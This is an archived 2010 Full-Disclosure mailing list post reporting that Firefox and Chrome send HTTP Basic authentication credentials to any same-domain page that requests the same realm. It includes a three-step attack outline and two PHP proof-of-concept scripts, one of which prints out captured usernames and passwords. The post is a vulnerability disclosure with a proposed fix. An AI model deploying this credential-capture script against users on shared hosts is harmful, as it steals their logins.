full-disclosure - False Authentication Attack/Any Browser

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 19 Sep 2010 13:03:16 +0200
From: iforone <iforone@...f.pl>
To: full-disclosure@...ts.grok.org.uk
Subject: False Authentication Attack/Any Browser

Hello,
I sent this email to bugzilla@...ome/firefox.

Firefox status: New (since 2010-07-19 22:10)
Chrome status: WontFix

From bugzilla@...ome: 
"something similar assigned to Darin 9 yrs ago -
https://bugzilla.mozilla.org/show_bug.cgi?id=110705 :)"

Decide yourself if this is bug or feature. ;)

Orig mail:

Date: Mon, 19 Jul 2010 13:29:29 +0200
From: iforone <iforone@...f.pl>
To: <security@...illa.org>
Subject: Security Bug Bounty: False Authentication Attack

Hello,
I have found propably a bug in the Mozilla Firefox - after proper authentication (basic/digest http auth), the web browser sends a 'Authorization' header to every site which sends us 'WWW-Authenticate' header on a given domain. Only thing that we should know is a realm, which is not a secret.

The bug can be used, when many people have an access to place where the scripts are in one domain (for example mod_usedir in Apache web server).

Chrome ignores 'depth of link', sends 'Authorization' even when the 'bad' htaccess is located above the 'good' (see PoC) 
[ RFC 2617 ]

2 Basic Authentication Scheme

[...]

A client SHOULD assume that all paths at or deeper than the depth of
the last symbolic element in the path field of the Request-URI also
are within the protection space specified by the Basic realm value of
the current challenge. A client MAY preemptively send the
corresponding Authorization header with requests for resources in
that space without receipt of another challenge from the server.

[...]

The scheme of an attack:
1. The victim autenticates on the site, where we want to steal the credentials
2. Deliver to victim a link to the our site in the attacked domain
3. Steal the header 'Authorization'

PoC:
http://iforone.spof.pl/a/a/
http://iforone.spof.pl/b/

003307:spof.pl% cat public_html/a/a/index.php 
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Realm"');
    header('HTTP/1.0 401 Unauthorized');
} else 
    echo "Hello ".$_SERVER['PHP_AUTH_USER']."/".$_SERVER['PHP_AUTH_PW'];
?>
003313:spof.pl% cat public_html/b/index.php
<?php
if (!isset($_SERVER['PHP_AUTH_USER']))
    header('WWW-Authenticate: Basic Realm="Realm"');
else
    echo $_SERVER['PHP_AUTH_USER']."/".$_SERVER['PHP_AUTH_PW'];
?>

The solution of this problem is to check whole URI, not only domain.

If You think it's not a bug, but 'feature' it will be nice if you send a confirmation that someone has read this ;)

Best Regards,
zynzel

-- 
PGP PUB KEY: http://iforone.spof.pl/iforone.key

Download attachment "signature.asc" of type "application/pgp-signature" (199 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/